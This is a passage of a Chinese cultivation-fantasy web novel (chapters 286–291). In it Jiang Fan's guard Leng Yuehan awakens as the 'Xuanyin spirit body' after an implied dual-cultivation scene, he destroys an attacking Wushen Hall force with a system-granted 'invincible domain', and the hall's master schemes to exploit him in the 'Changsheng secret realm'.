江凡指了指旁边的椅子。
冷月寒却依旧站着,微微垂首:
“世子有何吩咐?”
声音一如既往的清冷平静,但细听之下,似乎有一丝紧绷。
“没什么吩咐,就是想跟你聊聊。”
江凡看着她低垂的眼睫,开门见山,
“月寒,你跟在我姐姐和婉如身边,保护她们,辛苦你了。你的忠心与能力,我都看在眼里。只是…你似乎总是把自己藏起来,不愿与人亲近。可是有什么心事?”
冷月寒身体一颤,头垂得更低:
“奴婢职责所在,不敢言辛苦。没有心事,世子多虑了。”
“真的没有吗?”
江凡起身,走到她面前,距离很近,能闻到她身上淡淡的冷香,
“月寒,看着我。”
第286章 神体的觉醒
冷月寒犹豫了一下,缓缓抬起头。
当她的目光触及江凡那双深邃的眸子时,脸上虽然依旧没什么表情,但耳根却悄然泛红。
她连忙又想低头,却**凡伸手轻轻托住了下巴。
这个动作让她浑身一僵,呼吸都停滞了。
“月寒,”江凡的声音很轻,却带着认真,
“芷兰姐姐都跟我说了。她说,你心里…有我。是吗?”
冷月寒的瞳孔骤然收缩,脸上那层伪装瞬间碎裂,露出底下惊慌、羞怯、自卑与无措。
她猛地后退一步,脱离了江凡的手指,声音带着颤音:
“世子!奴婢…奴婢不敢!奴婢身份低微,岂敢对世子有非分之想!大小姐她…她定是误会了!”
“真的是误会吗?”
江凡没有逼近,只是静静地看着她,目光仿佛能穿透她的伪装,直达心底,
“从你伤好那日,看我的眼神;从你知道我是逍遥公子后,眼中燃起的光;从你每次默默守护,却在我需要时毫不犹豫地挡在前面…
月寒,你的心意,我并非毫无所觉。只是以前,我身边纷扰太多,无暇他顾。如今,我想听你亲口说。”
冷月寒怔怔地看着他,看着他眼中那真诚的鼓励与等待,心中筑起的高墙,在这一刻,轰然倒塌。
所有的伪装、所有的自卑、所有的坚持,都化为了滚烫的泪水,涌出眼眶。
她再也忍不住,双膝一软,就要跪下,却**凡及时扶住。
“世子…”
冷月寒泣不成声,恪守的尊卑界限、自我压抑的情感,在这一刻决堤,
“奴婢…奴婢自知卑贱,不敢奢求…只愿能远远看着您,护着您所在意的一切,便心满意足…如今,如今能得世子垂问,说出这番心里话,奴婢…奴婢死也无憾了……”
她说着,又想跪下,却**凡牢牢扶住双臂。
“不准再说‘死’字,也不准再自称‘奴婢’。”
江凡语气带着不容置疑的温柔与霸道,伸手轻轻拭去她脸上的泪,
“月寒,你一点也不卑贱。你是我最信任的护卫,是芷兰姐姐和婉如的依靠,更是…让我心疼、让我想要珍惜的女子。
你的忠诚,你的坚韧,你的默默付出,我都看在眼里,记在心上。从今往后,你不是奴婢,你是我江凡的女人,是我要携手一生、并肩而战的伴侣。明白吗?”
“伴侣…”
冷月寒喃喃重复着这两个字,眼中爆发出难以置信的光彩。
她看着江凡深邃而真诚的眼眸,终于,用力地点了点头,泪水却流得更凶,只是这一次,是喜悦的泪水。
她再也忍不住,主动扑进江凡怀中,清晰地应道:
“嗯!月寒…愿意!愿意做世子的女人!此生此世,生死相随,绝不背离!”
感受到怀中娇躯的颤抖与滚烫的泪水,江凡心中充满了怜惜与一种奇异的满足感。
他轻轻拍抚着她的背,等她情绪稍平,才低声道:
“月寒,眼下局势紧迫,武神殿威胁日甚。我有一门**,可助你快速提升修为,只是…需你我灵肉交融,共同修炼。你可愿意?”
冷月寒身体微微一僵,随即明白过来,脸上刚刚退去的红霞再次飞涌。
她虽未经人事,但也并非懵懂无知。
想到要与心爱之人如此亲密无间,羞涩难当,但更多的是一种交付身心的决然与对提升实力的渴望。
她在他怀中轻轻点头,声如蚊蚋:
“但凭…但凭夫君做主。”
这一声‘夫君’,叫得生涩,却充满了无尽的情意。
江凡心中一动,不再多言,拦腰将她抱起,走向内室。
红烛帐暖,被翻红浪。
冷月寒虽性子清冷,但在心爱之人面前,却展现出惊人的柔顺与炽热。
她将自己完全交付,生涩却无比专注地配合着江凡,运行着那玄奥的《龙凤和鸣诀》。
**运转,阴阳交汇。
江凡陆地神仙后期的感悟与精纯真元,涌入冷月寒的经脉与识海。
她的修为本就扎实,已达宗师后期巅峰,此刻在江凡的境界引导与共享下,那层瓶颈被轻易捅破!
“轰!”
一股强横的气息自冷月寒体内爆发,她瞬间突破至大宗师初期!
然而,这仅仅是开始!
她的气息并未在突破后稳定下来,反而继
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续以惊人的速度攀升!
大宗师中期!大宗师后期!大宗师巅峰!
不过半个时辰,冷月寒的境界已然被强行拔高到了大宗师巅峰!
而且气息凝实,毫无虚浮之感!
这已然是常人苦修数十年乃至上百年都难以企及的成就!
然而,异变陡生!
就在冷月寒的气息堪堪达到大宗师巅峰,准备稳固之时,她体内深处,一股精纯、浩瀚、却又冰冷到极点的气息轰然爆发!
“咔咔咔——!”
以冷月寒为中心,房间内的温度瞬间骤降!
桌椅、床榻、地面,乃至空气中所含的水分,竟以肉眼可见的速度凝结出一层厚厚的冰晶!
寒雾弥漫,整个偏殿仿佛瞬间化为了冰窖!
冷月寒的眉毛、发梢也挂上了白霜,周身皮肤下隐隐有淡蓝色的冰纹流转,一股难以言喻的阴寒气息,不受控制地弥漫开来!
“这是…玄阴之气?!”
江凡心头剧震!
他瞬间联想到柳絮信中所言,武神殿寻找的‘玄阴灵体’,觉醒时会引动天地阴寒之气!
难道…月寒就是那个玄阴灵体?
可柳絮说过,灵体与‘天空血月’之象有关…
仿佛为了印证他的猜测,就在冷月寒体内寒气失控爆发的同一时刻——
“轰隆隆——!!”
皇宫上方的夜空,骤然传来一阵沉闷的奇异轰鸣!
紧接着,漫天星辰仿佛黯淡了一瞬,一轮皎洁的明月,竟以肉眼可见的速度,被染上了一层妖异、凄艳的血红之色!
血色迅速蔓延,不过数息之间,整个月亮化为了一轮巨大的‘血月’!
猩红的月光洒落大地,将京城笼罩在一片诡异而不祥的氛围之中!
血月当空!天地异象!
“不好!”江凡脸色大变!
果然!
冷月寒就是‘玄阴灵体’!
而且就在此刻,在她修为因《龙凤和鸣诀》而大幅提升、心神激荡之际,体内潜藏的灵体被彻底激活,引动了‘天空血月’的异象!
这异象,恐怕就是‘长生秘境’开启的关键信号,也是武神殿锁定玄阴灵体位置的灯塔!
第287章 劫境大长老
几乎在血月出现的刹那,江凡的神识,便捕捉到了十几道强横无比的气息,正以恐怖的速度从四面八方朝着皇宫方向疾扑而来!
为首一道气息,晦涩深沉,仿佛与天地融为一体,却又蕴含着令人心悸的毁灭力量,其强度…竟远远超越了江凡所知的陆地神仙范畴!
在其身后,还有两道稍弱、但确凿无疑的陆地神仙气息,以及超过十道极道宗师的气息!
武神殿的人!
而且来的阵容空前强大!
为首者,恐怕就是柳絮信中提到的、超越陆地神仙的高手!
他们果然一直暗中监视,就等着玄阴灵体觉醒、血月现世的这一刻!
“月寒!收敛心神,稳固气息,控制住你体内的寒气!”
江凡厉声喝道,同时将一股精纯温和的真元渡入冷月寒体内,助她压制那失控暴走的玄阴之气。
冷月寒也意识到了情况的危急,强忍着体内冰火两重天般的痛苦与那股浩瀚力量,咬牙运转**,试图将那狂暴的寒气收束。
然而,灵体初次觉醒,又是在如此剧烈突破的刺激下,岂是那么容易控制的?
寒气依旧在不断外泄,房间内的冰层越来越厚。
“夫君…我…”
冷月寒脸色惨白,眼中充满痛苦与愧疚,她没想到自己会给江凡带来如此巨大的危机。
“别说话,专心控制!外面交给我!”
江凡在她额头重重一吻,眼神瞬间变得冰冷锐利,杀意冲天!
他快速为冷月寒披上一件外袍,自己则瞬间穿戴整齐。
“江凡!交出‘玄阴灵体’!饶你不死!”
“否则,今夜便是大夏皇宫覆灭之时!”
冰冷的厉喝带着着威压,在皇宫上空炸响!
那十几道身影已然悬停于皇宫上方,血色月光下,显得格外狰狞。
为首者,是一名身穿玄黑绣金云纹长袍、面容枯槁的老者。
他负手而立,周身气息与天地浑然一体,却又散发着令人窒息的压迫感!
其身后,两名陆地神仙以及十余名极道宗师,呈扇形散开,杀气腾腾地锁定着下方。
皇宫瞬间大乱!
警钟长鸣!
无数侍卫、供奉从各处涌出,但面对天空中的恐怖阵容,无不面色惨白,心生绝望。
“嗖!嗖!嗖!”
数道流光从后宫不同方向激射而至,落在江凡身边。
正是萧璇月、塔娜、柳絮、周婉如、江芷兰、云暮!
她们虽在闭关巩固,但如此恐怖的威压与异象,早已将她们惊醒。
感受到天空中那令人颤栗的气息,几女脸色也都是一变,但看到江凡沉稳的背影,又迅速镇定下来。
各自持兵器,气息联结,将冷月寒所在的偏殿隐隐护在中心。
萧璇月凤眸含煞,抬头望向那劫境老者,冷声道:
“武神殿真是好大的威风!擅闯我大夏皇宫,威胁当朝帝君,你们是想与我大夏不死不休吗?!”
“不死不休?”
那老者,武神殿‘刑罚殿’副殿主,厉无涯,闻言嗤笑一声。
目光扫过下方众人,尤其在气息紊乱、寒气外溢的偏殿方向停留了一瞬,眼中贪婪之色更浓。
“小女娃,你还没资格跟本座说这话。本座今日只为‘玄阴灵体’而来。江凡,你确实有些本事,能击杀我殿数名长老,甚至毁我一处分部。
殿主惜才,只要你乖乖交出灵体,之前种种恩怨,可以一笔勾销。甚至,允你加入武神殿,得一长老之位,享无尽资源,岂不比在这弹丸小国当个土皇帝强上百倍?”
江凡缓缓御空而起,与厉无涯隔空相对,面色平静,眼中却冰寒一片:
“里面的人,是我的女人。想动我的女人,你们…做好死的准备了吗?”
“你的女人?”
厉无涯仿佛听到了天大的笑话,摇头叹道,
“江凡,你未免太高看自己了。杀几个陆地神仙,就真以为天下无敌了?不过是仗着有些特殊手段,或者…掌握了某种领域之力吧?”
他目光如电,似乎想将江凡看透,
“即便你真是劫境高手,那又如何?老夫乃是劫境五重!我武神殿殿主夏侯尊大人,更是劫境大圆满的绝世强者,已初步触及天地规则!
凭你,拿什么抗衡?识时务者为俊杰,莫要为了一个女人,葬送了自己,也葬送了这大夏国亿万无辜生灵的性命!”
最后一句,已
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是赤裸裸的威胁!
以屠戮大夏百姓,逼迫江凡就范!
“你敢!”
萧璇月厉声呵斥,周身帝王威严勃发,竟暂时抵住了部分威压,
“我大夏子民,上下一心,皆愿与帝君共存亡!武神殿若敢行此灭绝人性之事,我大夏即便战至最后一人,也必与尔等周旋到底!
而且,凡归顺武神殿的势力,有一个算一个,我大夏倾尽国力,也必将其连根拔起,鸡犬不留!”
塔娜、柳絮、周婉如、江芷兰、云暮也齐声娇叱,各自爆发出不弱的气息!
虽然她们修为最高不过大宗师巅峰,但数人联手,气势竟也颇为可观,尤其是她们眼中那份同生共死的决绝,令人动容。
厉无涯目光扫过几女,眼中闪过一丝讶异。
情报显示,这几女修为最高不过宗师,怎么短短时日,竟都提升到了大宗师,甚至接近极道宗师?
这江凡,难道真有某种批量制造高手的手段?
这让他心中忌惮更深。
但‘玄阴灵体’关乎殿主长生大计,势在必得!
“看来,是没得谈了。”
厉无涯眼神彻底冷了下来,杀意弥漫,
“江凡,我等既已现身,便不可能空手而回。既然你执迷不悟,那便手底下见真章吧!让本座看看,你这所谓的‘逍遥帝君’,到底有几分斤两!”
话音未落,他身后的两名陆地神仙与十余名极道宗师,齐齐厉喝,各施绝学,化作一道道流光,朝着江凡以及他身后的偏殿猛扑而来!
一时间,剑气纵横,掌影如山,各种属性的真气光芒将血月下的夜空映照得光怪陆离!
“保护月寒!”
江凡对萧璇月等人低喝一声,自己则不退反进,身形悍然迎着那铺天盖地的攻击冲了上去!
他心念急转,扫过系统界面。
【当前人气值:98,750,000/300,000】
还有近一亿人气值!
足够兑换长时间的【无敌领域】,或者应对其他变故!
面对超越陆地神仙的劫境高手,他不敢有丝毫托大,必须动用全力,速战速决!
“系统,兑换【陆地神仙体验卡(巅峰)】!”
第288章 不可能背叛
轰——
江凡的气息疯狂飙升,瞬间突破后期瓶颈,达到了陆地神仙的绝巅!
周身金光大盛,将那血月的光芒都压制了下去!
举手投足间,仿佛能引动方圆百里的天地之力!
“杀!”
厉无涯眼中也闪过惊色,但随即被狠厉取代。
陆地神仙巅峰又如何?
终究未入劫境,是蝼蚁与稍大蝼蚁的区别!
他厉喝一声,亲自出手了!
并未见他有何动作,只是遥遥对着江凡,伸手一握!
“神通——虚空囚笼!”
霎时间,江凡周围百丈空间骤然凝固、压缩!
空气变得坚硬,空间产生无数细密的裂痕,一股恐怖的挤压与撕裂之力,从四面八方作用于江凡身上!
这是超越了武学范畴,初步涉及空间规则的‘神通’!
是劫境强者的标志性手段!
在那凝固的空间中,江凡感到自身真元的运转都变得滞涩困难,行动如同陷入万丈泥潭。
两名陆地神仙和极道宗师的攻击,也趁机袭至!
“雕虫小技。”
处于陆地神仙巅峰体验状态下的江凡,眼中金光一闪。
他并未动用【无敌领域】,而是想试试,单纯的陆地神仙巅峰力量,配合自身的领悟,能否抗衡这神通与**。
“破!”
他吐气开声,周身金光炸开!
那凝固压缩的空间,竟被这至刚至阳的爆发硬生生撑开、震碎!
无数空间裂痕瞬间被抚平!
袭来的各种攻击,在这金光冲击下纷纷破碎、倒卷!
“噗!”“噗!”“啊!”
数名冲得最近的极道宗师,被反卷回来的攻击和金光扫中,顿时口喷鲜血,惨叫着倒飞出去,生死不知。
两名陆地神仙也是身形剧震,脸色发白,眼中骇然更甚。
“有点意思!”
厉无涯眼中闪过一丝讶异,随即化为更浓的杀意,
“能凭蛮力破开老夫的‘虚空囚笼’,你这陆地神仙巅峰,倒也算扎实。可惜,劫境之威,远非你所能想象!”
他一步踏出,身影仿佛融入了虚空,瞬间出现在江凡面前,枯瘦的手掌轻飘飘地拍出,无声无息,却仿佛蕴含着乾坤倒转、日月沉沦的恐怖力量!
掌风所过之处,空间泛起涟漪,隐隐有风雷之声相伴!
这是更进一步的‘神通’,蕴含了一丝他对力之规则的粗浅运用!
与此同时,他低喝一声:
“领域——‘重玄界’,开!”
以他为中心,一片土黄色的奇异力场骤然扩散,将江凡笼罩其中!
在这‘重玄界’内,重力暴增百倍!
空气粘稠,连思维仿佛都变得迟滞!
更可怕的是,这领域似乎能引动地脉之气,不断消磨、压制被困者的真元与生机!
这正是劫境强者与陆地神仙最大的区别之一——
拥有并初步掌控属于自己的领域!
在自身领域内,他们便是近乎无敌的主宰!
“感受到了吗?江凡!”
厉无涯的声音在领域内回荡,带着掌控一切的漠然与嘲讽,
“这就是境界的差距!在我‘重玄界’中,你的真元会被压制,行动会变得迟缓,连思维都会迟钝!
而我的力量,却能得到增幅!殿主大人更是掌控了金、木、水、火、土五种领域的绝世强者,你拿什么抗衡?现在,感受到绝望了吗?”
身处‘重玄界’中,江凡确实感觉到身体一沉,真元运转也滞涩了许多,那拍来的一掌,更是让他感受到了致命的威胁。
这劫境五重的强者,果然名不虚传!
然而,江凡脸上却没有丝毫恐惧,反而露出一抹奇异的笑容。
他抬头,看向近在咫尺、掌力即将临体的厉无涯,轻声问道:
“是吗?五种领域,很厉害吗?我倒是想领教领教,就看你们殿主…给不给机会了。”
话音落下的瞬间,江凡心念一动。
“系统,兑换并开启——【无敌领域】!”
【叮!消耗人气值1000000点!【无敌领域】开启!倒计时:一分钟!】
“嗡——!!!”
一股至高无上的规则力量,以江凡为中心,轰然爆发,瞬间覆盖了方圆三十丈!在这股力量面前,什么重玄界,什么空间神通,什么百倍重力,什么真元压制,统统消融、崩溃、不复存在!
厉无涯那蕴含力之规则的一掌,在距离江凡面门仅有三寸时,骤然凝固,再也无
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法前进分毫!
掌力中蕴含的恐怖力量,消失得无影无踪!
而他自身,更是如同被施展了定身法,连同他展开的重玄界,一起被死死地定在了半空中!
脸上那掌控一切的漠然与嘲讽,瞬间被无边的惊骇、恐惧所取代!
“不、不可能!这…这是什么领域?!怎么可能…怎么可能如此霸道?!连我的‘重玄界’都…”
厉无涯魂飞魄散,他感觉自己连思维都变得缓慢,只能眼睁睁看着江凡缓缓抬起手。
江凡没有回答。在【无敌领域】的绝对掌控下,他心念微动。
“噗!”“噗!”“噗!”……
天空中,除了被定住的厉无涯,其余那两名陆地神仙,以及剩余的极道宗师,身体齐齐爆裂开来,化为漫天血雾,连惨叫都未能发出一声,便已形神俱灭!
血腥之气,瞬间弥漫夜空,又被领域的力量悄然净化。
秒杀!
真正的秒杀!
在【无敌领域】面前,所谓的陆地神仙、极道宗师,与蝼蚁无异!
江凡这才好整以暇地走到被定在空中、满脸惊恐绝望的厉无涯面前,伸出手,轻轻拍了拍他僵硬的脸颊,语气平淡,却带着冷意:
“现在,告诉我,关于‘长生秘境’,关于‘玄阴灵体’的一切。你们殿主的具体计划,夏侯尊的弱点,‘天渊之眼’的位置。
还有,如何解决灵体觉醒后,只有一年寿命的问题。说出来,或许,我能给你一个痛快。”
厉无涯眼珠艰难地转动,看着江凡,眼中充满了极致的恐惧,但更深处,却有一种扭曲的疯狂与对武神殿的诡异忠诚。
他嘶声道:
“江、江凡…你、你确实…超乎想象…但…没用的…我…我立下了最严苛的…神魂契约…不可能背叛…殿主神威…无所不能…‘玄阴灵体’激活后…生机便会…被秘境印记…
不断抽取……最多一年…必死无疑…想续命…唯有…进入‘长生秘境’…找到…‘源生仙泉’…哈哈…你就算…护得住她一时…也护不住她…一世…殿主…会亲自…来取…”
说到这里,他眼中厉色一闪,似乎触动了某种隐藏禁制,脸上瞬间爬满诡异的黑色符文,身体剧烈颤抖起来!
第289章 我相信夫君
“想自绝?问过我了吗?”
江凡眼神一冷,【无敌领域】的力量瞬间侵入厉无涯识海,想要阻止其神魂自爆。
然而,那神魂契约的层次似乎极高,且与施术者修为息息相关,在江凡力量侵入的瞬间,便自行彻底爆发!
“噗——!”
厉无涯七窍喷出漆黑的火焰,那是灵魂被契约反噬燃烧的迹象!
他最后怨毒地瞪了江凡一眼,用尽最后力气嘶吼:
“殿主…万岁…长生…永…”
“轰!”
他的身体连同神魂,彻底化为了一团飞灰,消散在【无敌领域】之中,连一丝痕迹都未能留下。
江凡脸色阴沉地收回领域。
又失败了!
这武神殿对核心成员的控制,竟严密至此!
连劫境五重的副殿主,都甘愿受此束缚,宁死也不吐露核心机密!
这夏侯尊,到底用了什么手段?
不过,并非全无收获。至少知道了玄阴灵体激活后只有一年寿命的残酷事实,以及续命需要长生秘境中的‘源生仙泉’。
而且,厉无涯临死前的话也证实,夏侯尊对玄阴灵体势在必得,绝不会罢休,未来必有更猛烈的袭击,甚至可能亲自出手!
天空中的血月,不知何时已悄然褪去,恢复成皎洁的明月。
但皇宫上方的血腥与肃杀之气,却久久不散。
萧璇月等人飞身上前,来到江凡身边,看着满地狼藉和空荡荡的夜空,心有余悸,但更多的是担忧。
厉无涯临死前的话,她们也听到了。
“夫君…月寒她…”
萧璇月看向偏殿方向,那里寒气已略微收敛,但冷月寒的气息依旧不稳。
江凡深吸一口气,压下心中的烦躁与杀意,对众人道:
“先去看看月寒。”
众人回到偏殿。
房间内的冰晶已开始融化,冷月寒盘坐在床榻上,周身依旧有淡蓝色寒气缭绕,但比之前平稳了许多。
她脸色依旧苍白,气息却稳定在了极道宗师初期!
而且隐隐带着一股深邃的阴寒道韵。
看到江凡等人进来,她睁开眼,眼中充满了愧疚、不安,还有一丝对未知命运的恐惧。
“月寒,感觉怎么样?”
江凡上前,握住她冰凉的手。
“夫君…我…”冷月寒声音哽咽,
“我是不是…成了大家的累赘?那个老头说的话…我都听到了…我只有一年…我…”
“闭嘴!”江凡打断她,将她紧紧拥入怀中,声音斩钉截铁,
“什么一年?有我在,别说一年,就是一万年,你也得给我好好活着!‘长生秘境’是吧?‘源生仙泉’是吧?我就去把它找出来,给你续命!
武神殿敢拦,我就踏平武神殿!夏侯尊敢伸手,我就剁了他的爪子!你是我江凡的女人,你的命,由我不由天,更不由他武神殿!”
这番霸道绝伦的话语,让冷月寒泪水再次涌出。
但这次,不再是绝望,而是感动与重新燃起的希望。
她用力回抱住江凡,仿佛要将自己融入他身体。
萧璇月、塔娜、柳絮、周婉如、江芷兰、云暮也围了上来,七嘴八舌地安慰,眼神坚定,表示会与江凡一起,想办法解决这个难题。
江凡心中温暖,但压力也更重。
一年时间…找到并进入那神秘的‘长生秘境’,夺取‘源生仙泉’,还要面对武神殿疯狂的阻挠与夏侯尊这个深不可测的敌人…
前路,依然布满荆棘,甚至更加凶险莫测。
江凡轻轻抚着她的背,柔声问道:
“月寒,你现在感觉怎么样?身体可有哪里不适?这‘玄阴灵体’觉醒,除了引动寒气,可还有其他异状?”
冷月寒靠在江凡肩头,努力平复心绪,仔细感受自身,片刻后微微摇头:
“除了觉得体内多了一股很冷、很庞大的力量,有些难以控制,运转**时似乎能更容易引动天地间的阴寒灵气外,并无其他特别感觉。
没有疼痛,没有神智混乱,就是…觉得心里有些空落落的,好像有什么很重要的东西被抽走了,又好像…被填满了。”
她形容得有些混乱,但大致状态如
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此。
江凡眉头微蹙,难道这种‘空落落’的感觉,就是生机流逝的征兆?
他心中一紧,追问道:
“月寒,你仔细想想,你小时候,或者你家人可曾提过,你出生时,或成长过程中,有什么不寻常的事情发生?”
冷月寒闻言,眼中露出回忆之色,轻声道:
“我依稀记得小时候母亲曾提过一句,说我出生的那晚,天气异常寒冷,明明是夏夜,房间却结了一层薄霜。
而且那晚的月亮…似乎格外亮,颜色也有些异样。所以母亲给我起名‘月寒’。至于更详细的…我便不知了。”
夏夜结霜,异样明月…
这很可能就是玄阴灵体初次引动微弱异象的征兆!
只是当时她尚在襁褓,灵体未显,未被察觉。
直到如今,在《龙凤和鸣诀》与江凡陆地神仙后期力量的刺激下,才彻底觉醒,并引动了对应天象——天空血月!
“原来如此…月寒,这名字,倒真是贴切。”
江凡心中了然,也更添几分怜惜。
他轻轻吻了吻她的发顶,沉声道:
“月寒记住,你还有我,有璇月,有大家。至于你体内的灵体和那什么‘秘境印记’、一年之期,你不用担心,一切有我。我会找到办法,绝不会让你有事。”
“嗯,我相信夫君。”
冷月寒用力点头,将脸埋在他颈窝,汲取着令人安心的温暖。
尽管前路艰难,但此刻在他怀中,她便有无穷的勇气。
能得到夫君和一众姐妹的关爱,她已经死而无憾。
安抚好冷月寒,江凡与众人来到外殿。
气氛依旧沉重。
武神殿此番损失惨重,连劫境五重的副殿主都折在这里,以夏侯尊的性子,绝不可能善罢甘休。
更大的风暴,随时可能来临。
而冷月寒仅剩一年寿命的阴影,更是悬在每个人心头。
“武神殿已知晓月寒便是‘玄阴灵体’,且就在我身边。他们绝不会放弃,下一次来的,恐怕就是夏侯尊本人,或者武神殿真正的底蕴力量。”
第290章 身上的秘密
江凡目光扫过众人,语气严肃,
“眼下,我们最大的依仗,便是实力!月寒需要尽快掌控体内力量,巩固修为。璇月、塔娜、柳絮、婉如、芷兰姐、云暮,你们也需争分夺秒,冲击更高境界!
我会为你们提供一切所需资源。在武神殿下次发难,或我们找到进入‘长生秘境’的方法之前,我们必须拥有足够的自保与反击之力!”
“明白!”
众女齐声应道,眼中充满了坚定。
事关冷月寒性命与整个团体的存亡,她们不敢有丝毫懈怠。
江凡又看向萧璇月:
“月儿,宫中防御需进一步加强,启动所有阵法,加派岗哨。北境和南疆也要传讯提醒,谨防武神殿狗急跳墙,袭击边关或父亲。”
“我已安排下去。”萧璇月点头,
“京城内外,已进入最高戒备。父亲那边,也以密令提醒,并加派了高手与物资。”
“那就好。”
江凡稍感安心,随即摸了摸鼻子,看着眼前环肥燕瘦、各具风情的绝色女子们,脑中忽然闪过一个念头,脱口而出道:
“那个…既然都要抓紧时间提升修为,我看这《龙凤和鸣诀》效果显著,不如…今晚我们一起修炼,来个大被同眠?效率或许更高…”
他说着,目光在几女身上扫过,带着一丝试探与期待。
话音刚落——
“呸!想得美!”
“流氓!”
“臭弟弟,你想什么呢!”
“世子…你…你荒唐!”
“夫君!注意场合!”
“帝君!请自重!”
萧璇月、塔娜、江芷兰、周婉如、柳絮、云暮几乎异口同声,或嗔或怒或羞,俏脸飞红,美目圆睁,齐刷刷地瞪向江凡。
随即仿佛心有灵犀般,纷纷转身,逃也似的快步离开了偏殿,只留下一串清脆的脚步声和淡淡的香风。
江芷兰临走前还回头狠狠剜了江凡一眼,塔娜则做了个鬼脸,萧璇月则是又好气又好笑地摇了摇头。
转眼间,殿内只剩下江凡和被他搂着、同样羞得不敢抬头的冷月寒,以及几个眼观鼻鼻观心、假装什么都没听见的宫女太监。
江凡摸了摸鼻子,有些尴尬地干笑两声:
“呃…我这不是为了提高效率嘛…反应这么大干嘛…”
不过看到众女虽然羞恼,但并无真正怒意,反而有种难以言喻的亲昵与默契,他心中反而一暖。
这样的互动,让沉重的气氛也轻松了不少。
“月寒,你看,她们都跑了。今晚,只好咱俩继续‘努力修炼’了。”
江凡低头,在冷月寒耳边促狭地低语。
冷月寒耳根通红,轻轻捶了他一下:
“夫君…你、你正经点…”
“好好好,正经,正经修炼。”
江凡笑着揽紧她,眼中却已恢复清明与思忖。
玩笑归玩笑,提升实力,迫在眉睫。
……
武神山,裁决圣殿。
“啪嚓——!”
一盏由万年暖玉雕琢而成的茶杯,被狠狠摔在地上,化为齑粉。
夏侯尊依旧是一身紫袍,面容年轻俊朗,但此刻那双深邃的眼眸中,却燃烧着骇人的火焰。
银白的长发无风自动,周身气息起伏不定,让整个大殿都仿佛在震颤。
下方,以影老为首的几位核心长老噤若寒蝉,连大气都不敢喘。
“厉无涯…劫境五重,携带两名陆地神仙,十二名极道宗师…全军覆没…”
夏侯尊的声音很轻,却十分冰寒,
“好,好一个江凡!好一个逍遥帝君!”
他活了两千余年,历经风雨,武神殿称霸大陆已久,何曾吃过如此大亏?
折损一名劫境长老,这损失堪称伤筋动骨!
更让他惊怒的是,根据传回的消息,那江凡似乎掌握了一种极其诡异、霸道绝伦的‘领域’之力,连厉无涯苦修数百年的重玄界都被轻易碾碎!
这绝非寻常手段!
“殿主息怒!”
影老硬着头皮上前一步,沉声道,
“此子诡异,实力增长不符常理,且掌握未知强大手段。依老奴之见,不如…倾尽我殿之力,高手尽出,以雷霆万钧之势,踏平大夏皇宫,夺取‘玄阴灵体’,永绝后患!厉副殿主之仇,不可不报!”
“倾尽全力?踏平皇宫?”
夏侯尊缓缓抬起眼眸,眼中的怒火渐渐被深沉的算计与忌惮所取代,他冷冷地瞥了影老一眼,
“你以为,本座不想吗?但你想
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过没有,那江凡如此有恃无恐,凭的是什么?仅仅是他那诡异的‘领域’?此子身上,定有惊天之秘!
或许,是某件失落的上古神器,或许,是某种逆天的传承…也可能,这小子就是气运之子!
在未弄清楚其底牌之前,贸然倾力一战,即便胜了,我武神殿要付出何等代价?
‘长生秘境’开启在即,本座千年谋划不容有失!此时与一个底牌不明、实力诡异的疯子全面开战,殊为不智。”
影老一怔,迟疑道:
“那殿主的意思是…”
夏侯尊站起身,走到殿中,负手望着殿外翻涌的云海,声音恢复了平日的淡漠:
“江凡再强,他也有软肋。那‘玄阴灵体’是他女人,且只有一年寿命。他想救那女人,就必须进入‘长生秘境’,夺取‘源生仙泉’。而这,便是我们的机会。”
他转过身,目光扫过众长老:
“‘长生秘境’并非善地,其中禁制重重,危机四伏,更有时空乱流、上古遗族盘踞。
没有详细的秘境地图、避开危险的路线、以及关键节点的破解之法,就算他江凡有通天之能,进入其中也是九死一生,寸步难行。
而这些…恰恰掌握在我们武神殿手中,尤其是本座,钻研千年,早已绘制出相对安全的路径图,知晓数处关键遗迹的开启之法与禁忌。”
影老眼中精光一闪:
“殿主是想…与那江凡合作?利用他和他可能拥有的上古神器之力,为我们探路、破除障碍,最终…
我们再坐收渔利,夺取‘源生仙泉’与秘境核心传承?甚至…趁机夺取他身上的神器?”
“合作?谈不上。”夏侯尊嘴角勾起一抹弧度,
“不过是相互利用,各取所需罢了。他需要信息和路径救他女人,我们需要一个足够强的‘探路石’和‘破阵锥’。
至于最终谁能笑道最后…那就看各自的本事了。在秘境之外,他有那诡异领域,或许能与我周旋。
但在‘长生秘境’之内,环境特殊,法则混乱,很多外界手段都会受到压制甚至失效…
届时,便是本座的主场!他身上的秘密,本座要了!‘玄阴灵体’和‘源生仙泉’,本座也要了!”
第291章 御书房召见
夏侯尊看向影老,吩咐道:
“影,你亲自走一趟,挑选两名机灵的长老随行,带上‘长生秘境’外围三分之一的地图副本,以及‘天渊之眼’入口稳定之法的一部分。
去大夏皇宫,见那江凡。告诉他,武神殿愿与他合作,共探‘长生秘境’。共享情报,各取所需。
条件便是,秘境之中,暂时联手,不得互相攻击。至于厉无涯之事…可暂时搁置,待秘境之事了结再论。
记住,姿态放低些,诚意做足些。本座料定,他为了那女人,必会心动。”
影老躬身领命:
“老奴明白。只是…殿主,若那江凡不识抬举,或者看出端倪…”
“他若不应,那便是敬酒不吃吃罚酒。”夏侯尊眼中寒光一闪,
“到时,再行雷霆手段不迟。不过,以他救那女人的急切之心,以及对本殿秘境信息的渴求,本座有八成把握,他会答应。去吧,速去速回。”
“是!”影老身影融入阴影,消失不见。
夏侯尊独自立于殿中,望着东方大夏的方向,低声自语:
“江凡…‘平凡’…希望你不要让本座失望。你身上的秘密,或许正是本座超越劫境、真正触及长生的关键…‘长生秘境’,我们很快就会再见了。”
……
大夏皇宫,接下来的数日,出乎意料地风平浪静。
武神殿似乎真的因厉无涯之死而投鼠忌器,没有再来袭扰。
但这平静之下,是更加疯狂的修炼与准备。
在江凡近乎无限量的丹药供应以及《龙凤和鸣诀》的后续巩固下,众女的修为以一日千里的速度飙升。
萧璇月率先突破,凭借着女帝的气运与《龙凤和鸣诀》打下的坚实基础,以及各种顶级丹药辅助,一举踏足极道宗师之境!
而且一入极道,便是中期!
帝王紫气与修炼的真元交融,让她气势更盛,凤仪天成。
塔娜、柳絮、周婉如、江芷兰、云暮也相继突破,纷纷踏入极道宗师门槛,虽然都只是初期,但根基扎实,战力远超同阶。
尤其是柳絮,心中憋着一股为父母复仇的戾气,修炼起来近乎疯狂,进境最快,已接近极道宗师中期。
周婉如虽然起步最晚,但心思纯净,与《龙凤和鸣诀》的调和之意最为契合,进步稳定。
